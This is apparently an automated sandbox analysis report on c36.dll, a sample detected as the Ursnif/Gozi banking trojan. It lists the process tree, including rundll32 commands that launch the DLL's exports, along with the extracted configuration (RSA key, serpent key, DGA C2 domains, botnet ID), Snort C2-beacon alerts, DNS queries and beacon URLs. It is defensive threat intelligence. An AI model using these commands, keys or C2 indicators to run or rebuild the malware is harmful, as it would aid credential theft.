Play interactive tour

Edit tour

Windows Analysis Report c36.dll

Overview

General Information

Sample Name:	c36.dll
Analysis ID:	446420
MD5:	c36ab737db2b6d11fb1f443f8117a7fa
SHA1:	e6fab2798dd6088aa3527a01ae1b3f2415cf40cf
SHA256:	181fe6714ebaff8c1855e8e1dbac545ffd160df0ec96ddf920c5155916b7111b
Tags:	dllgozi
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Ursnif

Performs DNS queries to domains with low reputation

Writes or reads registry keys via WMI

Writes registry values via WMI

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6856 cmdline: loaddll32.exe 'C:\Users\user\Desktop\c36.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 6876 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\c36.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6932 cmdline: rundll32.exe 'C:\Users\user\Desktop\c36.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6920 cmdline: rundll32.exe C:\Users\user\Desktop\c36.dll,Beautyresult MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6964 cmdline: rundll32.exe C:\Users\user\Desktop\c36.dll,Division MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6980 cmdline: rundll32.exe C:\Users\user\Desktop\c36.dll,Fastcolor MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7004 cmdline: rundll32.exe C:\Users\user\Desktop\c36.dll,Yetclose MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

iexplore.exe (PID: 7064 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 4788 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7064 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 244 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 4500 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:244 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 4780 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6676 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4780 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5592 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6188 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5592 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 2016 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6324 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2016 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 4624 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 5604 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4624 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5432 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 5060 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5432 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "1mPXe+HluarwW4R5yJj7kX696atmf6B7a6Jg5mZJ5i3sbRT19R7vT9mKoTtyIRImiHldxTU8DG3omytA0iEqz9hnZgVFnIpVKjKYSqpF7qVSkNASqDhbMdx0CqPxwgtnM3yHiXHYSYrxlGineE5/W0Lx89hsKcfonC8W/kvncnBH4KqUVMOPQeg/25xF11Xm", "c2_domain": ["outlook.com", "mail.com", "taybhctdyehfhgthp2.xyz", "thyihjtkylhmhnypp2.xyz"], "botnet": "5456", "server": "12", "serpent_key": "10291029JSRABBIT", "sleep_time": "10", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0", "DGA_count": "10"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000004.00000003.910366216.0000000004E18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.790900009.0000000003628000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.790960793.0000000003628000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.910522567.0000000004E18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.910307395.0000000004E18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.790850525.0000000003628000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.790877212.0000000003628000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.790821624.0000000003628000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.910457867.0000000004E18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000002.1018360128.0000000004E18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.910423038.0000000004E18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.790930892.0000000003628000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.910544336.0000000004E18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.790783444.0000000003628000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.910564992.0000000004E18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.910494134.0000000004E18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.790740831.0000000003628000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: loaddll32.exe PID: 6856	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 6932	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 14 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000007.00000003.741101990.0000000002F40000.00000040.00000001.sdmp

Malware Configuration Extractor: Ursnif {"RSA Public Key": "1mPXe+HluarwW4R5yJj7kX696atmf6B7a6Jg5mZJ5i3sbRT19R7vT9mKoTtyIRImiHldxTU8DG3omytA0iEqz9hnZgVFnIpVKjKYSqpF7qVSkNASqDhbMdx0CqPxwgtnM3yHiXHYSYrxlGineE5/W0Lx89hsKcfonC8W/kvncnBH4KqUVMOPQeg/25xF11Xm", "c2_domain": ["outlook.com", "mail.com", "taybhctdyehfhgthp2.xyz", "thyihjtkylhmhnypp2.xyz"], "botnet": "5456", "server": "12", "serpent_key": "10291029JSRABBIT", "sleep_time": "10", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0", "DGA_count": "10"}

Multi AV Scanner detection for submitted file

Show sources

Source: c36.dll

Virustotal: Detection: 7%

Perma Link

Source: c36.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.168.14:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.168.14:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.20.250.115:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.20.250.115:443 -> 192.168.2.4:49806 version: TLS 1.2

Source:

Binary string: c:\Door\26\Enter\Mos\Hard \Stretch.pdb source: loaddll32.exe, 00000000.00000002.1018511227.000000006D4DB000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.1019307465.000000006D4DB000.00000002.00020000.sdmp, c36.dll

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49729 -> 40.97.128.194:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49729 -> 40.97.128.194:80

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: taybhctdyehfhgthp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: taybhctdyehfhgthp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: taybhctdyehfhgthp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: thyihjtkylhmhnypp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: thyihjtkylhmhnypp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: thyihjtkylhmhnypp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: taybhctdyehfhgthp2.xyz
Source:	DNS query: taybhctdyehfhgthp2.xyz

Source: Joe Sandbox View	IP Address: 40.97.128.194 40.97.128.194
Source: Joe Sandbox View	IP Address: 52.97.186.114 52.97.186.114

Source: Joe Sandbox View

JA3 fingerprint: 9e10692f1b7f78228b2d4e424db3a98c

Source: global traffic	HTTP traffic detected: GET /jdraw/OvXGpKzLxUlvc/5YmODYZ1/gEki0c5_2Bcj_2BJgBmclYf/4zl_2FiIGx/zg7_2FVzTFFpxQ0Zg/IVmTcFICtOu9/15kAqnW78YI/MXCY1lZONnEzVM/eyszldhHfL9FhdO1fFyz9/RRaqeJksBpKD0xlU/B2SSOZmmpvCp3sI/4IJYpEC_2BP8ptXo3E/E9fvTGTLb/WJ6m1MuHv/Uxoe1d.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: outlook.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /jdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4BFdYu/NG5HWnb0/vfvVzx4Doj88hqHzLS5VCB0/IRrw6ObYiX/1_2Fr33YbqAT9Ry0m/a_2FLfkuNA_2/F_2Fy3jjalf/Eg8brnQokZm55h/jGcurV8IMufIt7jFcTF99/whDSjKuT/g9l8UU7_2/B.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: mail.comConnection: Keep-Alive

Source: msapplication.xml0.15.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml0.15.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml5.15.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x4f5f3b4c,0x01d774c7</date><accdate>0x4f5f3b4c,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: msapplication.xml5.15.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x4f5f3b4c,0x01d774c7</date><accdate>0x4f5f3b4c,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: msapplication.xml7.15.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x4f5f3b4c,0x01d774c7</date><accdate>0x4f5f3b4c,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
Source: msapplication.xml7.15.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x4f5f3b4c,0x01d774c7</date><accdate>0x4f5f3b4c,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: outlook.com

Source: head.min[1].js.32.dr	String found in binary or memory: http://modernizr.com/download/?-csstransforms-csstransforms3d-csstransitions-flexbox-flexboxlegacy-f
Source: picturefill.min[1].js.32.dr	String found in binary or memory: http://scottjehl.github.io/picturefill
Source: loaddll32.exe, 00000000.00000003.885385904.0000000001014000.00000004.00000001.sdmp, ~DF5F3CA953B42C7490.TMP.24.dr, {93B4E602-E0BA-11EB-90EB-ECF4BBEA1588}.dat.24.dr	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/jdraw/vPapbiz2Eh/ZPYySNPAkvOvIyVz2/tWl_2FHqiE2d/6ywtXMerrZg/ABJ_2FJE5Z
Source: {A226C240-E0BA-11EB-90EB-ECF4BBEA1588}.dat.29.dr	String found in binary or memory: http://thyihjtkylhmhnypp2.xyz/jdraw/5aLAbJwTVae/qoEFd9apr89OcM/6ayYRQOOdtFpSwTDl2aq9/CqCbos6Cqnizb6H
Source: msapplication.xml.15.dr	String found in binary or memory: http://www.amazon.com/
Source: msapplication.xml1.15.dr	String found in binary or memory: http://www.google.com/
Source: msapplication.xml2.15.dr	String found in binary or memory: http://www.live.com/
Source: msapplication.xml3.15.dr	String found in binary or memory: http://www.nytimes.com/
Source: msapplication.xml4.15.dr	String found in binary or memory: http://www.reddit.com/
Source: msapplication.xml5.15.dr	String found in binary or memory: http://www.twitter.com/
Source: msapplication.xml6.15.dr	String found in binary or memory: http://www.wikipedia.com/
Source: msapplication.xml7.15.dr	String found in binary or memory: http://www.youtube.com/
Source: lt[1].htm.32.dr	String found in binary or memory: https://cdn.cookielaw.org/logos/b1d060cc-fa13-4e1e-8a5e-fd705963d55b/11da4229-abbc-4e04-a16b-72fa8f1
Source: lt[1].htm.32.dr	String found in binary or memory: https://cdn.cookielaw.org/logos/b1d060cc-fa13-4e1e-8a5e-fd705963d55b/662e5c67-1d13-450e-90e2-8ba98fb
Source: lt[1].htm.32.dr	String found in binary or memory: https://cdn.cookielaw.org/vendorlist/
Source: lt[1].htm.32.dr	String found in binary or memory: https://dl.1und1.de/permission/oneTrust/
Source: lt[1].htm.32.dr	String found in binary or memory: https://dl.gmx.at/permission/oneTrust/
Source: lt[1].htm.32.dr	String found in binary or memory: https://dl.gmx.ch/permission/oneTrust/
Source: lt[1].htm.32.dr	String found in binary or memory: https://dl.gmx.co.uk/permission/oneTrust/
Source: lt[1].htm.32.dr	String found in binary or memory: https://dl.gmx.com/permission/oneTrust/
Source: lt[1].htm.32.dr	String found in binary or memory: https://dl.gmx.es/permission/oneTrust/
Source: lt[1].htm.32.dr	String found in binary or memory: https://dl.gmx.fr/permission/oneTrust/
Source: lt[1].htm.32.dr	String found in binary or memory: https://dl.gmx.net/permission/oneTrust/
Source: consentpage[1].htm.32.dr	String found in binary or memory: https://dl.mail.com/permission/live/v1/ppp/js/permission-client.js
Source: lt[1].htm.32.dr	String found in binary or memory: https://dl.mail.com/permission/oneTrust/
Source: consentpage[1].htm.32.dr	String found in binary or memory: https://dl.mail.com/tcf/live/v1/js/tcf-api.js
Source: lt[1].htm.32.dr	String found in binary or memory: https://dl.web.de/permission/oneTrust/
Source: lt[1].htm.32.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Roboto:ital
Source: lt[1].htm.32.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Droid
Source: css[1].css.32.dr	String found in binary or memory: https://fonts.gstatic.com/s/droidsans/v12/SlGVmQWMvZQIdix7AFxXkHNSaw.woff)
Source: css[1].css.32.dr	String found in binary or memory: https://fonts.gstatic.com/s/droidsans/v12/SlGWmQWMvZQIdix7AFxXmMh3eDs1YQ.woff)
Source: css[1].css.32.dr	String found in binary or memory: https://fonts.gstatic.com/s/droidserif/v13/tDbK2oqRg1oM3QBjjcaDkOr4nAfcGA.woff)
Source: css[1].css.32.dr	String found in binary or memory: https://fonts.gstatic.com/s/droidserif/v13/tDbX2oqRg1oM3QBjjcaDkOr4lLz5CwOnTg.woff)
Source: css[1].css.32.dr	String found in binary or memory: https://fonts.gstatic.com/s/monda/v11/TK3gWkYFABsmjsLaGw8Enew.woff)
Source: css[1].css.32.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v20/mem5YaGs126MiZpBA-UN_r8OUuhv.woff)
Source: css[1].css.32.dr	String found in binary or memory: https://fonts.gstatic.com/s/shadowsintolight/v10/UqyNK9UOIntux_czAvDQx_ZcHqZXBNQzdcD_.woff)
Source: url-polyfill[1].js.32.dr	String found in binary or memory: https://github.com/WebReflection/url-search-params/blob/master/src/url-search-params.js
Source: url-polyfill[1].js.32.dr	String found in binary or memory: https://github.com/arv/DOM-URL-Polyfill/blob/master/src/url.js
Source: bundle.min[1].js.32.dr	String found in binary or memory: https://github.com/getsentry/sentry-javascript
Source: permission-client[1].js.32.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: picturefill.min[1].js.32.dr	String found in binary or memory: https://github.com/scottjehl/picturefill/blob/master/Authors.txt;
Source: core[1].htm.32.dr	String found in binary or memory: https://img.ui-portal.de/pos-cdn/tracklib/4.3.0/polyfills.min.js
Source: core[1].htm.32.dr	String found in binary or memory: https://img.ui-portal.de/pos-cdn/tracklib/4.3.0/tracklib.min.js
Source: B[1].htm.32.dr	String found in binary or memory: https://mail.com/jdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4BFdYu
Source: lt[1].htm.32.dr	String found in binary or memory: https://mam-confluence.1and1.com/display/TDII/BRAIN-Tracking
Source: lt[1].htm.32.dr	String found in binary or memory: https://my.onetrust.com/s/article/UUID-185d63b9-1094-a9d3-e684-bb1f155ae6ad
Source: lt[1].htm.32.dr	String found in binary or memory: https://nct.ui-portal.de/mailcom/mailcom/s?
Source: {B0214097-E0BA-11EB-90EB-ECF4BBEA1588}.dat.34.dr	String found in binary or memory: https://outlook.office365.com/jdraw/0SBJEaWj8uzaYO9/X2ZLyhcXhOBs13vUhk/uA0Mj7KPw/1hd_2FrDfFtdqWCbDdz
Source: ~DF8670946C9A228354.TMP.15.dr, {79338731-E0BA-11EB-90EB-ECF4BBEA1588}.dat.15.dr	String found in binary or memory: https://outlook.office365.com/jdraw/OvXGpKzLxUlvc/5YmODYZ1/gEki0c5_2Bcj_2BJgBmclYf/4zl_2FiIGx/zg7_2F
Source: {9AD72DED-E0BA-11EB-90EB-ECF4BBEA1588}.dat.27.dr	String found in binary or memory: https://outlook.office365.com/jdraw/xGbcxYlao6QybS/5qDDj85QhfUdCqg61IRxY/a3KKCFnPRTca1yiq/_2Fc_2FODy
Source: consentpage[1].htm.32.dr	String found in binary or memory: https://s.uicdn.com/mailint/9.1725.0/assets/consent/consent-management.js
Source: consentpage[1].htm.32.dr	String found in binary or memory: https://s.uicdn.com/mailint/9.1725.0/assets/consent/mailcom/spinner.gif
Source: consentpage[1].htm.32.dr	String found in binary or memory: https://s.uicdn.com/mailint/9.1725.0/assets/consent/mailcom/styles.css
Source: consentpage[1].htm.32.dr	String found in binary or memory: https://s.uicdn.com/mailint/9.1725.0/assets/consent/main.js
Source: consentpage[1].htm.32.dr	String found in binary or memory: https://s.uicdn.com/mailint/9.1725.0/assets/favicon.ico
Source: imagestore.dat.31.dr	String found in binary or memory: https://s.uicdn.com/mailint/9.1725.0/assets/favicon.ico~
Source: lt[1].htm.32.dr	String found in binary or memory: https://s.uicdn.com/permission/live/
Source: core[1].htm.32.dr, lt[1].htm.32.dr	String found in binary or memory: https://s.uicdn.com/shared/sentry/5.5.0/bundle.min.js
Source: lt[1].htm.32.dr	String found in binary or memory: https://s.uicdn.com/tcf/live/
Source: core[1].htm.32.dr	String found in binary or memory: https://s.uicdn.com/tcf/live/v1/js/tcf-api.js
Source: url-polyfill[1].js.32.dr	String found in binary or memory: https://url.spec.whatwg.org/#urlencoded-serializing
Source: main[1].js.32.dr	String found in binary or memory: https://wa.mail.com/1and1/mailcom/s?_c=0&name=
Source: consentpage[1].htm.32.dr	String found in binary or memory: https://www.mail.com/
Source: {A90D6F79-E0BA-11EB-90EB-ECF4BBEA1588}.dat.31.dr	String found in binary or memory: https://www.mail.com/cdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4B
Source: ~DF3B2B4B210D4677DA.TMP.31.dr	String found in binary or memory: https://www.mail.com/consentpage
Source: consentpage[1].htm.32.dr	String found in binary or memory: https://www.mail.com/consentpage/event/error
Source: consentpage[1].htm.32.dr	String found in binary or memory: https://www.mail.com/consentpage/event/visit
Source: ~DF3B2B4B210D4677DA.TMP.31.dr, {A90D6F79-E0BA-11EB-90EB-ECF4BBEA1588}.dat.31.dr	String found in binary or memory: https://www.mail.com/consentpageVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4BFd
Source: ~DF3B2B4B210D4677DA.TMP.31.dr, {A90D6F79-E0BA-11EB-90EB-ECF4BBEA1588}.dat.31.dr, B[1].htm0.32.dr	String found in binary or memory: https://www.mail.com/jdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4B

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.168.14:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.168.14:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.20.250.115:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.20.250.115:443 -> 192.168.2.4:49806 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.910366216.0000000004E18000.00000004.00000040.sdmp, type: MEMORY
